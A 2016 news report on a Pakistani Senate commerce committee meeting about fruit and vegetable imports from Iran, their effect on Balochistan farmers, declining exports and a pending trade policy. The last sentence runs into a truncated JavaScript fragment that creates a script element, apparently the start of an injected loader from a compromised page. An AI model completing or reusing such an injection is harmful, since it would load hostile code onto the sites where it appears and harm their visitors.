Published On: Wed, Feb 17th, 2016
Published in Category: Islamabad

Senate standing committee discusses matters relating to imports of fruits, vegetables

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Islamabad: The Senate Standing Committee on Commerce in its meeting discussed the call attention notice referred of Senator Mir Kabeer Mohammad Shahi relating to the imports of fruits and vegetables from Iran to Pakistan.

The meeting was held under the chairmanship of Senator Shibli Faraz here at the Parliament House on Tuesday. Secretary, ministry of Commerce told the committee that above matter is under process and within the domain of ministry of national food security which is looking after it.

During the meeting it observed that this is not a new issue as the issue is eight to ten years old, which is affecting 95% public in Balochistan whose prime occupation is agriculture. These fruits and vegetables include apples, grapes, onions and dates.

Minster for Commerce Khurram Dastagir stated that Pakistan has different policies for Afghanistan and Iran related to trade but with Iran Pakistan government is waiting for the lifting of sanctions on Iran so Pakistan government can initiate trade gradually with Iran. He said that it is difficult to change our trading behaviour with Iran the way we have with the Afghanistan.

The committee concluded that a meeting should be scheduled to address all these issues related to the imports of fruits and vegetables with food security commission.

The members agreed on forming a sub-committee of three members which will look into the matter with other stakeholders including ministries of commerce and food security and local farmers to clarify and investigate properly the issue of imports from Iran to Pakistan. An in-camera session was also suggested by the minster of commerce to discuss State’s policy towards Afghanistan and Iran.

The issue of the decline on export was also discussed in the meeting. The committee was briefed that Turkey has imposed additional duties on various products across the world and it has reduced the exports of Pakistan of fabric, readymade garments and polythene. The consumption of oil in Pakistan has increased by 30% and hence oil income bill has reduced despite reduction of petroleum prices. With regard to trade policy the ministry told the committee that no response has been received as yet from Prime Minister’s office regarding STFP 2015-18. It was stated, however, that the ministry is all set to implement the trade policy as soon as it gets a nod from PM.

Members of the committee concluded that we have to look after the policies regarding to the trade and commerce. IT was agreed that vision for Pakistan should be of an export-oriented country.var d=document;var s=d.createElement(‘script’);